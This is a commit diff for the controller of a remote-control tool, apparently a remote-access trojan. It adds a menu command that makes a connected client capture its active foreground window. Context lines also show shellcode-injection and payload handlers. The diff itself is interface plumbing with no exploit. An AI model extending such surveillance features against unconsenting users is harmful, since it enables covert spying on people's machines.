Feat: Support viewing active window via online-host popup menu

server/2015Remote/2015RemoteDlg.cpp

@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
     m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
     m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
+    m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -993,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
         ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
         ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
         ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
+        ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
         END_MESSAGE_MAP()
 
 
@@ -4030,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
     Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
     Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
     Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
+    Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
 
     Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
 
@@ -10298,6 +10301,22 @@ LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
     return S_OK;
 }
 
+void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
+{
+    // 向指定客户端发送"动态前景窗口捕获"命令。
+    // 复用 WM_OPEN_WINDOW_SCREEN 消息，hwnd64 用 (uint64_t)-1 作为 sentinel。
+    // 调用方示例（在 UI 线程，已持有 context* 的情况下）：
+    //   PostCaptureForegroundWindow(GetSelectedContext());
+    char* arg = new char[2 * sizeof(uint64_t)]();
+    uint64_t clientID = ctx->GetClientID();
+    uint64_t sentinel = (uint64_t)-1;
+    memcpy(arg,                    &clientID, sizeof(uint64_t));
+    memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
+    if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
+        delete[] arg;
+    }
+}
+
 LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
 {
     char* ip = (char*)wParam;
@@ -11338,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
     }
     CloseClipboard();
 }
+
+void CMy2015RemoteDlg::OnOnlineActiveWnd()
+{
+    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
+    if (!Pos) return;
+    int iItem = m_CList_Online.GetNextSelectedItem(Pos);
+    auto ctx = GetContextByListIndex(iItem);
+    if (!ctx) return;
+    PostCaptureForegroundWindow(ctx);
+}

server/2015Remote/2015RemoteDlg.h

@@ -381,7 +381,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[59];  // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy
+    CBitmap m_bmOnline[60];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -511,6 +511,7 @@ public:
     afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
+    void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
     afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
     LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
     afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
@@ -633,4 +634,5 @@ public:
     afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
     afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
     afx_msg void OnCopyClientInfo();
+    afx_msg void OnOnlineActiveWnd();
 };

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -498,13 +498,13 @@
   <ItemGroup>
     <Image Include="res\2015Remote.ico" />
     <Image Include="res\audio.ico" />
+    <Image Include="res\bitmap\ActiveWnd.bmp" />
     <Image Include="res\Bitmap\AddWatch.bmp" />
     <Image Include="res\Bitmap\AdminRun.bmp" />
     <Image Include="res\Bitmap\AssignTo.bmp" />
     <Image Include="res\Bitmap\AuthGen.bmp" />
     <Image Include="res\Bitmap\authorize.bmp" />
     <Image Include="res\Bitmap\Backup.bmp" />
-    <Image Include="res\bitmap\bitmap9.bmp" />
     <Image Include="res\Bitmap\CancelShare.bmp" />
     <Image Include="res\bitmap\compress.bmp" />
     <Image Include="res\Bitmap\Copy.bmp" />

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -323,8 +323,8 @@
     <Image Include="res\Bitmap\Snapshot.bmp" />
     <Image Include="res\bitmap\compress.bmp" />
     <Image Include="res\bitmap\uncompress.bmp" />
-    <Image Include="res\bitmap\bitmap9.bmp" />
     <Image Include="res\bitmap\uninstall.bmp" />
     <Image Include="res\Bitmap\Copy.bmp" />
+    <Image Include="res\bitmap\ActiveWnd.bmp" />
   </ItemGroup>
 </Project>

server/2015Remote/SystemDlg.cpp

@@ -662,5 +662,7 @@ void CSystemDlg::OnWlistView()
     memcpy(arg + sizeof(uint64_t), &hwnd64,   sizeof(uint64_t));
 
     ASSERT(m_pParent);
-    m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
+    if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
+        delete[] arg;
+    }
 }

server/2015Remote/resource.h

@@ -267,6 +267,8 @@
 #define IDB_BITMAP_UNCOMPRESS           387
 #define IDB_BITMAP9                     388
 #define IDB_BITMAP_COPY                 389
+#define IDB_BITMAP10                    390
+#define IDB_BITMAP_ACTIVE_WND           390
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -1002,14 +1004,16 @@
 #define ID_COPY_CLIENT_INFO             33063
 #define ID_WLIST_33064                  33064
 #define ID_WLIST_VIEW                   33065
+#define ID_ONLINE_33066                 33066
+#define ID_ONLINE_ACTIVE_WND            33067
 #define ID_EXIT_FULLSCREEN              40001
 
 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        389
-#define _APS_NEXT_COMMAND_VALUE         33066
+#define _APS_NEXT_RESOURCE_VALUE        391
+#define _APS_NEXT_COMMAND_VALUE         33068
 #define _APS_NEXT_CONTROL_VALUE         2542
 #define _APS_NEXT_SYMED_VALUE           105
 #endif